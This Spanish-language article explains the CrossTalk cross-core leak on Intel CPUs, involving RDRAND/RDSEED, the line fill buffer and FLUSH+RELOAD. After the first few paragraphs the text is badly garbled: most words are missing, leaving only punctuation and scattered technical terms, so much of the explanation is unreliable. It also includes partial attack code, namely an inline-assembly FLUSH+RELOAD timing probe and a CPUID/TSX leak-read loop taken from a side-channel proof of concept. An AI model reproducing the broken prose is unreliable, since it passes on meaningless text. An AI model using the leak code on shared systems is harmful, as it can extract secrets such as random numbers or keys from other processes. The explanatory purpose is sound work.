Vulnerabilidad de diafonía

En los últimos años han comenzado a aparecer una gran cantidad de informes sobre todo tipo de vulnerabilidades en los procesadores Intel . Los más famosos son Spectre y Meltdown , basados ​​en errores en la implementación de la ejecución de comandos especulativos. En junio de 2020, apareció un mensaje sobre una nueva vulnerabilidad llamada Crosstalk .

A diferencia de las vulnerabilidades mencionadas anteriormente, Crosstalk es una vulnerabilidad de transferencia de datos de un núcleo a otro. Por lo tanto, los protectores de vulnerabilidades diseñados para superar las fugas de ejecución especulativa dentro del kernel no pueden proteger contra Crosstalk. Para comprender la esencia de este tipo de fuga de datos, debe saber qué es la ejecución de instrucciones especulativas, cómo funciona la canalización del procesador y cómo se transfieren los datos entre núcleos. Toquemos brevemente cada uno de estos temas.

Computación especulativa

La ejecución especulativa de instrucciones por parte del procesador es uno de los métodos de hardware para detectar paralelismo en el nivel de instrucción. Los cálculos se realizan simultáneamente para varias rutas de ejecución del programa. El ejemplo más simple es la evaluación especulativa de dos ramas en una rama condicional.

Transportador

, , . , . , , . 16 . , 8 .

?

x86 . , . Vrije Universiteit Amsterdam , . , - MDS (Model-Specific-Registers) RDMSR WRMSR. . userspace CPUID, RDRAND RDSEED.

, DRNG , bootguard . Crosstalk , , , RDRAND RDSEED.

RDRAND RDSEED

RDRAND , digital random number generator (DRNG), . DRNG , . RDSEED , .. RNG.

, RIDL, , : Line Fill Buffer, Load Ports, Store Buffer.

Line Fill Buffer (LFB) L1 Cache ( ) - L1 Cache. , , , LFB . . LFB.

Store Buffer .

Load Ports I/O . , Load Ports .

Crosstalk

Crosstalk . , . , , , LFB, , . . , . , , , .

FLUSH + RELOAD

inline int probe(char *adrs) {
  volatile unsigned long time;

  asm __volatile__ (
    "  mfence             \n"
    "  lfence             \n"
    "  rdtsc              \n"
    "  lfence             \n"
    "  movl %%eax, %%esi  \n"
    "  movl (%1), %%eax   \n"
    "  lfence             \n"
    "  rdtsc              \n"
    "  subl %%esi, %%eax  \n"
    "  clflush 0(%1)      \n"
    : "=a" (time)
    : "c" (adrs)
    :  "%esi", "%edx");
  return time;
}

RIDL LFB, . FLUSH + RELOAD, ( ) FLUSH, , . - . , LFB. ( load), pagefault. , , LFB. , FLUSH + RELOAD. , . , , , . - , LFB.

CPUID

pid_t pid = fork();
if (pid == 0) {
    while (1)
        asm volatile(
            "mov %0, %%eax\n"
            "cpuid\n"
            ::"r"(CPUID_LEAF):"eax","ebx","ecx","edx");
}

for(size_t offset = BEGIN_OFFSET; offset < BEGIN_OFFSET + 4; ++offset) {
    // ...
    for(size_t i(0); i < ITERS; ++i) {
        flush(reloadbuffer);
        tsx_leak_read_normal(leak + offset, reloadbuffer);
        reload(reloadbuffer, results);
    }
}

, CPUID. . MDS. RIDL. . , . FLUSH + RELOAD , . , CPUID 4 , CROSSTALK. , CROSSTALK

. RDSEED. , RDSEED 0, . RDSEED . , , RDRAND RDSEED, - RDSEED. , . , . , , FLUSH + RELOAD.

, , , . , CPUID, . , RDRAND RDSEED , . , LFB. MDS , (hyperthread), , .

, . , , . , , . , , , RDRAND, RDSEED EGETKEY. , , , .

Crosstalk , , . MDS ( , ). , , - . , , . , , MDS.




All Articles